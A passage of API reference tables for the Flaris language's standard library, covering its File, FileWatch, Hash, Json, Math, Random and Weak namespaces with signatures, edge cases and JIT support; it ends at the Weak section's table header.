CreateHardLink	`CreateHardLink(target:string, linkPath:string) - bool`	Create a hard link at `linkPath` sharing `target`'s inode. `target` must exist and be on the same filesystem.	—
CreateSymlink	`CreateSymlink(target:string, linkPath:string) - bool`	Create a symbolic link at `linkPath` pointing to `target` (need not exist). On Windows requires Developer Mode / admin.	—
Delete	`Delete(path:string) - bool`	Delete the file (or symbolic link) at `path`. `false` if it can't be removed - including for a directory, which takes `Directory.Delete`.	—
Exists	`Exists(path:string) - bool`	`true` if path exists and is a regular file (symlinks followed). Directories report `false` - use `Directory.Exists`.	—
GetModifiedTime	`GetModifiedTime(path:string) - int`	Returns Unix timestamp of last modification.	—
Lines	`Lines(path:string, callback:fn) - int|nil`	Stream the file line by line, calling `callback(line)` for each (terminators stripped as `ReadLines` does) without building an array - the memory-cheap alternative to `ReadLines` for large files. The callback may return `false` to stop early. Returns the number of lines processed, or `nil` if the file can't be opened or read (a directory), or a line passes 256 MB. An exception the callback raises propagates.	—
Move	`Move(src:string, dst:string) - bool`	Move/rename a file. An existing file at `dst` is replaced. Atomic within one filesystem; fails across filesystems, with no copy+delete fallback.	—
ReadAllBytes	`ReadAllBytes(path:string) - block`	Read the entire file as a byte block, to end of file - pipes and `/proc` files, whose reported size is 0, read in full. `nil` if it can't be opened or read, or passes 2 GiB.	—
ReadAllBytesAsync	`ReadAllBytesAsync(path:string) - fiber`	Non-blocking `ReadAllBytes`. Use with `await`; resolves as `ReadAllBytes` returns. Other fibers run while the file is read.	—
ReadLines	`ReadLines(path:string) - array`	Read file into array of strings (one per line). Lines end at `\n`; a `\r` right before it is stripped too, a lone `\r` is data - the rule `Stream.ReadLine` uses. Lines of any	—

Function	Signature	Description	JIT
		length stay whole. `nil` if the file can't be opened or read (a directory), or a line passes 256 MB.	
ReadLink	`ReadLink(path:string) - string`	The target a symbolic link points to (the raw stored target, not a resolved path), or `nil` if not a symlink / unreadable. POSIX only - `nil` on Windows.	—
ReadText	`ReadText(path:string) - string`	Read the entire file as a string, to end of file (pipes and `/proc` files included). Bytes are taken as they are - no encoding check or conversion. `nil` if it can't be opened or read, or passes 256 MB.	—
ReadTextAsync	`ReadTextAsync(path:string) - fiber`	Non-blocking `ReadText`. Use with `await`; resolves as `ReadText` returns. Other fibers run while the file is read.	—
Sha256	`Sha256(path:string, raw?:bool) - string|block`	Compute SHA-256 of file contents: hex, or the 32 bytes as a block when `raw`. `nil` if the file cannot be opened or hashed (an unseekable FIFO, for example).	—
Sha256Async	`Sha256Async(path:string, raw?:bool) - fiber`	Non-blocking `Sha256`. Use with `await`; resolves to the hex string (or 32-byte block if `raw`), or `nil` if the file can't be opened or hashed.	—
SetMode	`SetMode(path:string, mode:int) - bool`	Set permission bits (POSIX `chmod`, low `07777` of `mode`). On Windows only the write bit is honored. `false` if it can't be applied.	—
SetModifiedTime	`SetModifiedTime(path:string, unixSeconds:int) - bool`	Set the file's modification time to a Unix timestamp; access time is preserved where the platform allows. `false` on failure.	—
Size	`Size(path:string) - int`	Size in bytes of a regular file (symlinks followed). `nil` for anything else - missing, a directory, a device or pipe (which is never opened, so it can't block).	—
Stat	`Stat(path:string) - object`	One-syscall metadata: `{Size, Modified, Accessed, Created, IsDir, IsFile, IsSymlink, Mode}`. Times are Unix timestamps; `Mode` is the permission bits (octal 7777 mask); `Created` uses birth time on macOS/BSD, else ctime. Returns `nil` if the path does not exist. A dangling symlink stats as the link itself.	—
Touch	`Touch(path:string) - bool`	Create file if missing; set access + modification time to now (like POSIX `touch`). `false` on failure.	—
Truncate	`Truncate(path:string, size:int) - bool`	Resize the file to exactly `size` bytes (extension zero-fills). `false` if `size` is negative or the file can't be resized.	—
WriteAllBytes	`WriteAllBytes(path:string, data:string|block) - bool`	Write binary data to file (overwrite). `false` on open/write failure.	✓
WriteAtomic	`WriteAtomic(path:string, data:string|block) - bool`	Durable write: stream into a temp file in the same directory, `fsync`, then `rename()` over the target - a reader never sees a half-written file, and a crash leaves either the old or new content, never a truncated mix. An existing file keeps its permission bits; a new one gets the same mode `WriteText` would give it. `false` on any failure (temp file removed). Atomic only within one filesystem.	✓
WriteLines	`WriteLines(path:string, lines:array) - bool`	Write each string element followed by `\n` (overwrite); other elements are skipped. Written verbatim, so `\n`	—

Function	Signature	Description	JIT
		stays `\n` on Windows too. `false` on open/write failure, or for a typed `[int]` / `[float]` array.	
WriteText	`WriteText(path:string, text:string) - bool`	Write text to the file (overwrite), bytes written verbatim. `false` on open/write failure.	—
WriteTextAsync	`WriteTextAsync(path:string, text:string) - fiber`	Non-blocking `WriteText`. Use with `await`; resolves to `true`, or `false` on failure. Other fibers run while the file is written.	—

FileWatch

Namespace: **`FileWatch`**

File and directory event monitoring. Up to 64 concurrent watchers per VM. Uses `inotify` on Linux, `kqueue` on macOS/BSD, and `ReadDirectoryChangesW` on Windows. The callback runs once per event, between fibers' turns - no fiber is blocked, and a sleeping fiber does not delay it. It runs as its own call with the permissions of the fiber that opened the watch and must run to completion: to wait on something (`await`, `Fiber.Sleep`), start a fiber from the callback. A callback that raises is reported on stderr and the watch carries on. An open watch alone does not keep the program running.

Function	Signature	Description	JIT
Open	`Open(path:string, callback:fn) - int`	Watch `path` for changes using the default mode (`"write,create,delete"`). Returns a slot id (≥ 0) or `-1` on failure.	—
Open	`Open(path:string, mode:string, callback:fn) - int`	Watch `path` with explicit mode.	—
Close	`Close(id:int) - bool`	Stop watching and release the slot.	—

Mode tokens - comma-separated, any combination:

Token	Description	Linux	macOS	Windows
`"write"`	File content modified or saved	✓	✓	✓
`"create"`	New files/dirs created or moved in	✓	✓	✓
`"delete"`	File deleted or renamed away	✓	✓	✓
`"attrib"`	Metadata changed (chmod, chown, timestamps)	✓	✓	✓
`"open"`	File opened for reading or writing	✓	-	-
`"all"`	All of the above	✓	✓ (except open)	✓ (except open)

Default mode (no mode argument, or no recognized token) is `"write,create,delete"`. Unrecognized tokens are ignored, not errors - `"open"` on a platform without it simply falls back to whatever else the string names (or the default).

Callback signature: `fn(event:object, id:int)`

Field	Type	Description
`event.event`	string	`"modify"`, `"create"`, `"delete"`, `"rename"`, `"attrib"`, `"open"`, or `"unknown"`
`event.name`	string	Linux/Windows: the changed entry's name relative to the watched directory (may be empty). macOS/BSD: the watched path as passed to `Open`.

Notes:

- The file must exist when `Open` is called. Watching a non-existent path returns `-1`.

- On macOS, editors like `nano` and `vim` save via rename - the file's inode is replaced. After receiving a `"delete"` event, close and re-open the watch to re-attach to the new inode.
- `"open"` mode is Linux-only; elsewhere it is ignored.

Example:

```
var id = FileWatch.Open("./config.json", fn(ev, id) {
    Console.WriteLine(ev.event + " " + ev.name)
})

Fiber.Sleep(30_000)
FileWatch.Close(id)
```

Hash

Namespace: `Hash`

Non-cryptographic and cryptographic hashes. Input accepts `string` or `block`. Max input 1 GB per call.

A digest comes back as lowercase hex; with its `raw` flag `true` it comes back as a block of the digest's bytes instead. The type of the result follows the flag: written as the literal `true` it is a `block`, left out or written `false` it is a `string`, and a flag held in a variable gives `string|block`.

`Begin`, `Update` and `Final` hash input that arrives in pieces - a download, an upload, a file read in chunks - with the same result as one call over all of it. The state `Begin` returns is a block whose layout belongs to the VM: every call checks it, and a block that did not come from `Begin`, or was altered, raises `InvalidArgs`. A copy of a state (`Buffer.Slice(st, 0, len(st))`) is a second, independent state, so a shared prefix is hashed once:

```
let st = Hash.Begin("sha256");
Hash.Update(st, header);
let withA = Buffer.Slice(st, 0, len(st));
Hash.Update(withA, partA);
Hash.Update(st, partB);
let hexB = Hash.Final(st);           // SHA-256 of header + partB
let rawA = Hash.Final(withA, true);  // the 32 bytes of SHA-256 of header + partA
```

Function	Signature	Description	JIT
Adler32	`Adler32(data:string|block, seed?:int) - int`	Adler-32 checksum. With `seed`, an earlier result, the checksum continues over `data` as zlib's `adler32` does: `Adler32(b, Adler32(a)) == Adler32(a + b)`.	✓
Begin	`Begin(algorithm:string, outLen?:int) - block`	A new streaming state for `"sha1"`, `"sha256"`, `"sha512"` or `"blake2b"` (any case). `outLen` is BLAKE2b's digest length, 1-64 bytes, default 32; the SHA algorithms take none. Any other algorithm or length raises `InvalidArgs`.	✓ owned[1]
Blake2b	`Blake2b(data:string|block, outLen?:int, raw?:bool) -`	BLAKE2b hash (hex string, or a block when `raw`). `outLen` 1-64 bytes, default 32; outside that range raises	✓ owned[1]

Function	Signature	Description	JIT
	`string|block`	`InvalidArgs`.	
Blake2s	`Blake2s(data:string|block, raw?:bool) - string|block`	BLAKE2s hash (hex string, or a block when `raw`).	✓ owned[1]
Crc8	`Crc8(data:string|block) - int`	CRC-8 (poly `0x07`, init `0x00`, refin/refout false, xorout `0x00`).	✓
Crc16	`Crc16(data:string|block) - int`	CRC-16/ARC (poly `0xA001` reflected, init `0x0000`, refin/refout true, xorout `0x0000`).	✓
Crc32	`Crc32(data:string|block, seed?:int) - int`	CRC-32/ISO-HDLC (zlib/gzip; reflected poly `0xEDB88320`, init/xorout `0xFFFFFFFF`). With `seed`, an earlier result, the CRC continues over `data` as zlib's `crc32` does: `Crc32(b, Crc32(a)) == Crc32(a + b)`, so a stream is checksummed a chunk at a time.	✓
Crc32c	`Crc32c(data:string|block) - int`	CRC-32C/Castagnoli (reflected poly `0x82F63B78`, init/xorout `0xFFFFFFFF`).	✓
Final	`Final(state:block, raw?:bool) - string|block`	The digest of everything fed to `state` (hex, or a block when `raw`). The state then keeps the digest: `Final` again returns it, `Update` raises `InvalidArgs`.	✓ owned[1]
Sha1	`Sha1(data:string|block, raw?:bool) - string|block`	SHA-1 hash (hex string, or the 20 bytes as a block when `raw`). Legacy; prefer SHA-256/BLAKE2 for security.	✓ owned[1]
Sha256	`Sha256(data:string|block, raw?:bool) - string|block`	SHA-256 hash (hex string, or the 32 bytes as a block when `raw`).	✓ owned[1]
Sha512	`Sha512(data:string|block, raw?:bool) - string|block`	SHA-512 hash (hex string, or the 64 bytes as a block when `raw`).	✓ owned[1]
SipHash24	`SipHash24(data:string|block, key:string) - int`	SipHash-2-4 with a 16-byte key; any other key length raises `InvalidArgs`.	✓
Update	`Update(state:block, data:string|block) - int`	Feed `data` to a state from `Begin`; returns the number of bytes fed so far. Raises `InvalidArgs` after `Final`.	✓
Xxhash32	`Xxhash32(data:string|block, seed?:int) - int`	xxHash-32. Optional seed.	✓
Xxhash64	`Xxhash64(data:string|block, seed?:int) - int`	xxHash-64. Optional seed.	✓

CRC interoperability note:

- `Crc8`, `Crc16`, `Crc32`, and `Crc32c` are fixed named variants to keep outputs stable across platforms and languages.
- Only the input bytes, and for `Crc32` the earlier result to continue from, are configurable. Polynomial/init/reflection/xor parameters are not currently exposed in the public API.
- Canonical check value for `"123456789"`: `Crc8=0xF4`, `Crc16=0xBB3D`, `Crc32=0xCBF43926`, `Crc32c=0xE3069283`.

Json

Namespace: `Json`

JSON parsing and serialization (RFC 8259), path query and mutation (JSONPath, RFC 9535 subset; JSON Pointer, RFC 6901), merge-patch (RFC 7386), JSON Patch (RFC 6902), canonical form (RFC 8785), NDJSON, reformatting, and mapping onto classes.

Parsing is strict: no comments, no trailing commas, no leading zeros, strings must be valid UTF-8 with control characters escaped, `\u0000` is rejected (a Flaris string cannot hold NUL). A number without fraction or exponent is an `int` when it fits 64 bits, else a `float`; a float that underflows becomes `0.0`, one that overflows makes the document invalid. Duplicate object keys resolve last-wins. Malformed input returns `nil` - call `LastError` for the reason and position.

Serializing writes floats in the shortest form that reads back exactly (`0.1`, `0.30000000000000004`, `1e+21`), and an integral float keeps `.0` (`1.0`) so it parses back as a float. NaN and ±Infinity have no JSON form and become `null`, as do values with none (functions, fibers, ...). Class instances serialize as objects of their declared fields. Number text never depends on the process locale.

Paths (`Find`, `Exists`, `FastSelect`, `Set`, `Remove`): an optional `$`, then segments. `.name`, `["name"]` or `['name']` (quoted names have no escapes and may contain `.`, `[` or `*`; `["*"]` is the literal key `*`), `[n]` (negative counts from the end: `[-1]` is the last element), `*` or `[*]` (every member of an object or element of an array), `[start:end:step]` (a slice, RFC 9535 semantics, any part optional), and `..` before any of these for recursive descent (`$..price`: the node and all its descendants). The first `.` may be left out (`a.b`). A path that starts with `/` is a **JSON Pointer** instead (`/a/0/b~1c`, `~1` = `/`, `~0` = `~`; `-` addresses one past the last element). `$` or `""` alone is the root. At most 256 steps; a malformed path matches nothing.

A path with a wildcard, slice or `..` can match many nodes: `Find` and `FastSelect` then return one flat array of the matches in document order (empty if none), and `Set` / `Remove` refuse it.

Limits. Nesting is capped at 256 levels, a parse at 4,194,304 values, and a string (an input value or an output document) at 128 MB. A document that exceeds a size cap **raises** instead of returning `nil`, so a large valid document is never mistaken for missing data. Serializing never truncates: a reference cycle, nesting past the cap or output past 128 MB raises.

Frozen values. `Set`, `Remove` and `Merge` raise `ConstAssign` when the object or array they would write is `const` or frozen with `Object.Freeze`, and leave it unchanged. `Patch` never writes its argument.

Function	Signature	Description	JIT
Canonicalize	`Canonicalize(value:any) - string`	RFC 8785 (JCS) canonical JSON - compact, object and instance members sorted by UTF-16 code units, numbers in ECMAScript form (`1` for `1.0`, `1e+21`), lowercase `\u` escapes - so equal values give identical bytes for hashing and signing, and match other JCS implementations. Ints are written exactly, also beyond 2^53. Raises like `Stringify`.	—
Deserialize	`Deserialize(json:string, cls:class) - instance|array`	Parse `json` and map it onto instances of `cls` by declared field name: an object yields one instance, an array of objects yields an array of instances. Unknown keys are ignored; absent fields keep their class defaults; inherited fields are included. The `Constructor` is **not** called - values are written directly to the field slots. **Each value must fit the field's type, taken from its default:** an `int` field takes an int, a `float` field an int or float, a `string` field a string, a `bool` field a bool, an `[int]` / `[float]` field an array of ints / numbers (stored as a typed array); a field whose default is `nil` takes any value. A JSON `null` keeps the default. Nested objects stay plain objects. Returns `nil` for malformed JSON, a scalar top level, an array containing a non-object element, or a value that does not fit its field (`LastError` names the field).	—

Function	Signature	Description	JIT
Diff	`Diff(a:object, b:object) - object`	Produce an RFC 7386 merge-patch such that `Merge(copy-of-a, patch)` yields `b`: changed/added keys carry b's value, removed keys map to `null`, nested objects recurse. `nil` if either argument is not an object. Cannot represent a key whose value in `b` is genuinely `null` (null means delete). Raises `NestingError` past the depth cap.	—
Exists	`Exists(path:string, value:any) - bool`	`true` if `path` matches at least one node within `value` (a parsed object/array, or a class instance for name steps). Stops at the first match.	✓
FastSelect	`FastSelect(path:string, json:string) - any`	`Find` on raw JSON text. Paths made of names, non-negative indices and wildcards are answered in one forward scan that parses only the matched values - the skipped parts are **not validated**, so malformed text elsewhere can still yield a result (use `Parse` + `Find` when the whole document must be valid). Other paths (negative index, slice, `..`) parse the whole text first. On duplicate keys a single-match path returns the last.	✓ checked
Find	`Find(path:string, value:any) - any`	Navigate a parsed value by path. A single-match path returns the node or `nil`; a multi-match path returns an array of the matches. Name steps descend into class instances (by field name); wildcards and slices apply to plain objects and arrays. Raises `NestingError` if `..` meets a cyclic value.	✓ checked
Format	`Format(json:string, indent?:int) - string`	Re-lay out JSON text with `indent` spaces per level (0-10, default 2), validating it as strictly as `Parse`. Strings and numbers are copied as written, so escapes, number spelling (`1.50`, `1e2`), key order and duplicate keys survive. `nil` for invalid input (see `LastError`).	✓ owned[1]
IsValid	`IsValid(json:string) - bool`	`true` if the string is exactly one well-formed JSON document. Disambiguates the case `Parse` cannot (it returns `nil` for both invalid input and a literal `null`). Sets `LastError` on `false`; returns `false` rather than raising past a size cap.	✓
LastError	`LastError() - object|nil`	Why the most recent failing `Parse`, `IsValid`, `ParseLines`, `Deserialize`, `Format`, `Minify` or `Patch` failed: `{message, line, column, offset}` - line and column 1-based (the column counts bytes), offset 0-based; all three `nil` for an error with no position (a `Deserialize` field mismatch, a `Patch` operation). `nil` after one of those functions succeeds.	—
Merge	`Merge(target:object, patch:object) - bool`	Apply an RFC 7386 merge-patch to `target` **in place**: a `null` patch value deletes that key, an object value merges recursively, any other value (including arrays) replaces. `false` if either argument is not an object. All-or-nothing: raises `ConstAssign` (a frozen object would be written) or `NestingError` (the patch is too deep or cyclic) before changing anything. Because `null` deletes, a patch cannot set a key to `null`.	—
Minify	`Minify(json:string) - string`	`Format` with indent 0: all insignificant whitespace removed.	✓ owned[1]
Parse	`Parse(json:string) - any`	Parse a JSON document into a Flaris value (object/array/string/int/float/bool/nil). `nil` on malformed input (see `LastError`); raises past the size caps.	—
ParseLines	`ParseLines(text:string) - array`	Parse NDJSON / JSON Lines: one JSON value per line (`\n` or `\r\n`). Blank lines skipped; `nil` if any non-empty line is invalid (`LastError` gives its line in the whole text). Size caps apply per line and raise.	—

Function	Signature	Description	JIT
Patch	`Patch(value:any, ops:array) - any`	Apply an RFC 6902 JSON Patch - operations `{op, path, value}` / `{op, from, path}` with `op` one of `add`, `remove`, `replace`, `move`, `copy`, `test`, paths as JSON Pointers - to a **deep copy** of `value` and return the copy; `value` itself is never changed (a frozen value can be patched). All-or-nothing: `nil` if any operation fails, with `LastError` naming it (`"operation 2: test failed"`).	—
Remove	`Remove(root:object|array, path:string) - bool`	Remove the value at `path` (object key or array element, in place). `false` on a missing node, a type mismatch or a multi-match path.	—
Set	`Set(root:object|array, path:string, value:any) - bool`	Set `value` at `path` in place, creating missing intermediate objects/arrays (a created array only takes index `0`). Replaces an existing array element or appends at exactly the length (`/list/-` appends). `false` on a multi-match path, a wrong-type intermediate (never clobbered) or an out-of-range index - and then nothing was created.	—
Stringify	`Stringify(value:any, options?:int|bool|object) - string`	Serialize to JSON. A truthy int or bool indents by 2 spaces. An options object takes `indent` (0-10 spaces), `sortKeys` (members in UTF-16 key order), `escapeHtml` (`\u`-escape `<`, `>`, `&`, U+2028 and U+2029, safe inside an HTML `<script>`) and `ascii` (`\u`-escape every non-ASCII character; invalid UTF-8 becomes `\ufffd`). Raises for a reference cycle, nesting past the depth cap or output over 128 MB.	—
StringifyLines	`StringifyLines(array:array) - string`	Serialize each element as a compact JSON value on its own line, each line ending in `\n` (JSON Lines); inverse of `ParseLines`. Raises like `Stringify`.	—

Math

Namespace: **`Math`**

Full mathematical library. `number` accepts `int` or `float`.

Domain and pole errors (IEEE). Scalar float functions return the IEEE special value on an out-of-domain or pole input rather than `nil`: domain errors yield `NaN` (`Sqrt(-1)`, `Log(-1)`, `Asin(2)`, `Acosh(0.5)`, `Acoth(0.5)`), and poles yield `±Inf` (`Log(0)` → `-Inf`, `Csc(0)`/`Sec`/`Cot`/`Csch` → `±Inf`, `Atanh(1)` → `Inf`, `LogBase(x,1)` → `Inf`). Detect them with `Math.IsNaN` / `Math.IsFinite`.

Function	Signature	Description	JIT
Abs	`Abs(x:int) - int`	Absolute value. The smallest int has no positive counterpart and is returned unchanged. For a float use `AbsF`.	✓
AbsF	`AbsF(x:int|float) - float`	Absolute value as float.	✓
Acos	`Acos(x:int|float) - float`	Arc cosine (radians).	✓
Acosh	`Acosh(x:int|float) - float`	Inverse hyperbolic cosine.	✓
Acot	`Acot(x:int|float) - float`	Arc cotangent.	✓
Acoth	`Acoth(x:int|float) - float`	Inverse hyperbolic cotangent.	✓
Asin	`Asin(x:int|float) - float`	Arc sine (radians).	✓
Asinh	`Asinh(x:int|float) - float`	Inverse hyperbolic sine.	✓
Atan	`Atan(x:int|float) - float`	Arc tangent (radians).	✓
Atan2	`Atan2(y:int|float, x:int|float) - float`	Two-argument arc tangent.	✓

Function	Signature	Description	JIT
Atanh	`Atanh(x:int|float) - float`	Inverse hyperbolic tangent.	✓
Cbrt	`Cbrt(x:int|float) - float`	Cube root.	✓
Ceil	`Ceil(x:int|float) - int`	Ceiling (round up).	✓
Clamp	`Clamp(x:int|float, min:int|float, max:int|float) - float`	Clamp x to [min, max]. Raises `InvalidArguments` when min > max.	✓
CopySign	`CopySign(x:int|float, y:int|float) - float`	Returns magnitude of x with sign of y.	✓
Cos	`Cos(x:int|float) - float`	Cosine.	✓
Cosh	`Cosh(x:int|float) - float`	Hyperbolic cosine.	✓
Cot	`Cot(x:int|float) - float`	Cotangent.	✓
Csc	`Csc(x:int|float) - float`	Cosecant.	✓
Csch	`Csch(x:int|float) - float`	Hyperbolic cosecant.	✓
Deg	`Deg(x:int|float) - float`	Convert radians to degrees.	✓
Exp	`Exp(x:int|float) - float`	e^x.	✓
Floor	`Floor(x:int|float) - int`	Floor (round down).	✓
Gcd	`Gcd(a:int|float, b:int|float) - int`	Greatest common divisor (>= 0; signs ignored). Gcd(0,0)=0.	✓
Hypot	`Hypot(x:int|float, y:int|float) - float`	Euclidean distance sqrt(x²+y²).	✓
IsEven	`IsEven(x:int|float) - bool`	`true` if x is even.	✓
IsFinite	`IsFinite(x:int|float) - bool`	`true` if x is finite (not NaN or Inf). Note: return type is float in registry; treat as bool.	✓
IsInteger	`IsInteger(x:int|float) - bool`	`true` if x has no fractional part. Note: return type is float in registry; treat as bool.	✓
IsNaN	`IsNaN(x:int|float) - bool`	`true` if x is NaN.	✓
IsNegative	`IsNegative(x:int|float) - bool`	`true` if x < 0.	✓
IsOdd	`IsOdd(x:int|float) - bool`	`true` if x is odd.	✓
IsPositive	`IsPositive(x:int|float) - bool`	`true` if x > 0.	✓
Lcm	`Lcm(a:int|float, b:int|float) - int`	Least common multiple (>= 0). Lcm(x,0)=0. May overflow int64 for large inputs.	✓
Log	`Log(x:int|float) - float`	Natural logarithm.	✓
Log10	`Log10(x:int|float) - float`	Base-10 logarithm.	✓
LogBase	`LogBase(x:int|float, base:int|float) - float`	Logarithm with arbitrary base.	✓
Max	`Max(a:int, b:int) - int`	Larger of a, b. For floats use `MaxF`.	✓
MaxF	`MaxF(a:int|float, b:int|float) - float`	Larger of a, b as float.	✓
MaxOf	`MaxOf(arr:array) - int|float`	Largest element of a numeric array (type preserved: an int for an `[int]`, a float for a `[float]`). `nil` if empty or non-numeric.	—
Min	`Min(a:int, b:int) - int`	Smaller of a, b. For floats use `MinF`.	✓
MinF	`MinF(a:int|float, b:int|float) - float`	Smaller of a, b as float.	✓
MinOf	`MinOf(arr:array) - int|float`	Smallest element of a numeric array (type preserved: an int for an `[int]`, a float for a `[float]`). `nil` if empty or non-numeric.	—
Mod	`Mod(a:int|float, b:int|float) - int|float`	Floored modulo: the result takes the sign of b, so Mod(-1,5)=4. Two ints give an exact int, and b=0 raises `ModByZero` as `%` does; otherwise a float, `NaN` when b=0.	—
Pow	`Pow(base:int|float, exp:int|float) - float`	base^exp.	✓

Function	Signature	Description	JIT
Product	`Product(arr:array) - int|float`	Product of array elements (int if all-int, else float; an `[int]` always gives an int and a `[float]` a float, which the compiler knows). `1` if empty (`1.0` for an empty `[float]`); `nil` if non-numeric.	—
Rad	`Rad(x:int|float) - float`	Convert degrees to radians.	✓
RandBool	`RandBool() - bool`	Random boolean.	✓
RandChoice	`RandChoice(arr:array) - any`	Random element from array.	—
RandFloat	`RandFloat(min:int|float, max:int|float) - float`	Random float in [min, max]; min itself when they are equal. Raises `InvalidArguments` when min > max.	✓
Random	`Random() - float`	Random float in [0.0, 1.0).	✓
RandomInt	`RandomInt(min:int, max:int) - int`	Random integer in [min, max], both included. Raises `InvalidArguments` when min > max.	✓
Round	`Round(x:int|float) - int`	Round to nearest integer, halves away from zero: `Round(2.5)` is 3, `Round(-2.5)` is -3.	✓
RoundTo	`RoundTo(x:int|float, decimals:int) - float`	Round to `decimals` fractional digits (clamped 0..15).	✓
Sec	`Sec(x:int|float) - float`	Secant.	✓
Sech	`Sech(x:int|float) - float`	Hyperbolic secant.	✓
Sign	`Sign(x:int|float) - int`	Returns -1, 0, or 1.	✓
Sin	`Sin(x:int|float) - float`	Sine.	✓
Sinh	`Sinh(x:int|float) - float`	Hyperbolic sine.	✓
Sqrt	`Sqrt(x:int|float) - float`	Square root.	✓
Sum	`Sum(arr:array) - int|float`	Sum of array elements (int if all-int, else float; an `[int]` always gives an int and a `[float]` a float, which the compiler knows). `0` if empty (`0.0` for an empty `[float]`); `nil` if non-numeric.	—
Tan	`Tan(x:int|float) - float`	Tangent.	✓
Tanh	`Tanh(x:int|float) - float`	Hyperbolic tangent.	✓
Trunc	`Trunc(x:int|float) - float`	Truncate toward zero.	✓
Wrap	`Wrap(x:int|float, min:int|float, max:int|float) - float`	Wrap x into [min, max] range.	✓

Additional scalar functions (less common):

Function	Signature	Description	JIT
Clamp01	`Clamp01(x:int|float) - float`	Clamp to [0.0, 1.0].	✓
Combination	`Combination(n:int, r:int) - int`	Binomial coefficient C(n,r); 0 when n or r is negative or r > n. Raises `InvalidArguments` when the result does not fit in an int.	✓
Distance	`Distance(x1:int|float, y1:int|float, x2:int|float, y2:int|float) - float`	2D Euclidean distance.	✓
Expm1	`Expm1(x:int|float) - float`	e^x – 1 (accurate near zero).	✓
Factorial	`Factorial(n:int) - int`	n!; 0 for a negative n. Raises `InvalidArguments` past 20!, the largest that fits in an int.	✓
Fma	`Fma(a:int|float, b:int|float, c:int|float) - float`	a × b + c rounded once (fused multiply-add, like C `fma`). `a * b + c` rounds the product first, so the two can differ in the last bit: `Fma(0.1, 10.0, -1.0)` is `5.551115123125783e-17`, `0.1 * 10.0 - 1.0` is `0.0`.	✓
Fract	`Fract(x:int|float) - float`	Fractional part of x.	✓

Function	Signature	Description	JIT
IEEERemainder	`IEEERemainder(x:int|float, y:int|float) - float`	IEEE 754 remainder.	✓
IsClose	`IsClose(a:int|float, b:int|float, relTol?:int|float, absTol?:int|float) - bool`	Approximate equality check: true when |a - b| ≤ max(relTol × max(|a|, |b|), absTol). `relTol` defaults to 1e-6 and `absTol` to 1e-12, also when `nil` is passed.	✓
Lerp	`Lerp(a:int|float, b:int|float, t:int|float) - float`	Linear interpolation.	✓
Log1p	`Log1p(x:int|float) - float`	ln(1 + x) (accurate near zero).	✓
Log2	`Log2(x:int|float) - float`	Base-2 logarithm.	✓
Permutation	`Permutation(n:int, r:int) - int`	P(n,r) ordered permutations; 0 when n or r is negative or r > n. Raises `InvalidArguments` when the result does not fit in an int.	✓

Special functions (`Gamma`, `LnGamma`, `Erf`, `Erfc` run at native speed inside JIT functions):

Function	Signature	Description	JIT
Gamma	`Gamma(x:int|float) - float`	Gamma function Γ(x).	✓
LnGamma	`LnGamma(x:int|float) - float`	Natural log of |Γ(x)| (no overflow for large x).	✓
Digamma	`Digamma(x:int|float) - float`	Digamma ψ(x) = Γ'(x)/Γ(x).	✓
Beta	`Beta(a:int|float, b:int|float) - float`	Beta function B(a,b) = Γ(a)Γ(b)/Γ(a+b).	✓
LnBeta	`LnBeta(a:int|float, b:int|float) - float`	Natural log of B(a,b).	✓
Erf	`Erf(x:int|float) - float`	Error function.	✓
Erfc	`Erfc(x:int|float) - float`	Complementary error function 1−erf(x).	✓
GammaP	`GammaP(a:int|float, x:int|float) - float`	Regularized lower incomplete gamma P(a,x) ∈ [0,1]. Chi²/gamma CDFs.	✓
GammaQ	`GammaQ(a:int|float, x:int|float) - float`	Regularized upper incomplete gamma Q(a,x) = 1−P(a,x).	✓
BetaInc	`BetaInc(a:int|float, b:int|float, x:int|float) - float`	Regularized incomplete beta $I_x(a,b)$ ∈ [0,1]. Student-t/F/beta CDFs.	✓

Bit intrinsics (integer operands; all four run at native speed inside JIT functions):

Function	Signature	Description	JIT
BitCount	`BitCount(n:int) - int`	Number of set bits in the 64-bit two's-complement representation of n.	✓
BitLength	`BitLength(n:int) - int`	Minimum bits to represent |n| (0 for n=0). Equivalent to Python `int.bit_length()`.	✓
LeadingZeros	`LeadingZeros(n:int) - int`	Number of leading zero bits in the 64-bit representation (64 when n=0).	✓
TrailingZeros	`TrailingZeros(n:int) - int`	Number of trailing zero bits in the 64-bit representation (64 when n=0).	✓

Constants:

Constant	Value
`Math.PI`	`3.14159265358979323846`
`Math.TAU`	`6.28318530717958647692`
`Math.E`	`2.71828182845904523536`
`Math.Infinity`	`+Inf`
`Math.NaN`	`NaN`

Range constants: `Int8Min/Max`, `Int16Min/Max`, `Int32Min/Max`, `Int64Min/Max`, `IntMin/Max`, `UInt8Min/Max`, `UInt16Min/Max`, `UInt32Min/Max`, `UInt64Min/Max`, `Float32Min/Max/Epsilon`,

`Float64Min/Max/Epsilon`, `FloatMin/Max/Epsilon`, `Float32Lowest`, `Float64Lowest`, `FloatLowest`.

> **Notes.** `UInt64Max` is capped at `Int64Max` (`9223372036854775807`) because constants live in a signed 64-bit slot. For floats, `*Min` is the smallest *positive normal* (like C's `FLT_MIN` / `DBL_MIN`), **not** the most-negative value - use `*Lowest` (= –`*Max`) for that.

Random

Namespace: `Random`

Seeded, deterministic pseudo-random streams (PCG32). The same seed always yields the same sequence - use for reproducible tests, simulations, and procedural generation. Each generator is an independent stream; `Math.Random` and friends stay on the global CSPRNG. **Not cryptographic** - use `Crypto.RandomBytes` for keys and tokens.

Function	Signature	Description	JIT
New	`New(seed?:int) – object`	Create a generator. Without a seed the stream is seeded from the OS CSPRNG (fast but non-reproducible).	—

Generator methods:

Method	Description
`r.Next()`	Uniform int in `[0, 2^32)` - one raw PCG32 output.
`r.NextInt(min, max)`	Uniform int in `[min, max]` (inclusive, like `Math.RandomInt`). Unbiased (rejection sampling). `nil` if `min > max`.
`r.NextFloat()`	Uniform float in `[0, 1)` with 53-bit precision.
`r.NextNormal(mean?, stddev?)`	Normally distributed float (Box-Muller). Defaults: mean 0, stddev 1.

```
let r = Random.New(42);
r.NextInt(1, 6);     // same die roll on every run
r.NextFloat();       // deterministic [0,1)
```

Weak

Namespace: `Weak`

Non-owning handles. `Weak.Create(v)` returns a handle that does not keep `v` alive; `Weak.Get(h)` returns `v` while something else still owns it and `nil` afterwards. Every handle on a value is nilled the moment the value's last owner lets go - before its `Destructor` runs - so a `Destructor` can never hand a dying object back out through a handle. Use a handle for the back-reference in a pair (a child's link to its parent, an observer's link to its subject) so the pair forms no reference cycle - see *Reference cycles are never collected*.

Function	Signature	Description	JIT
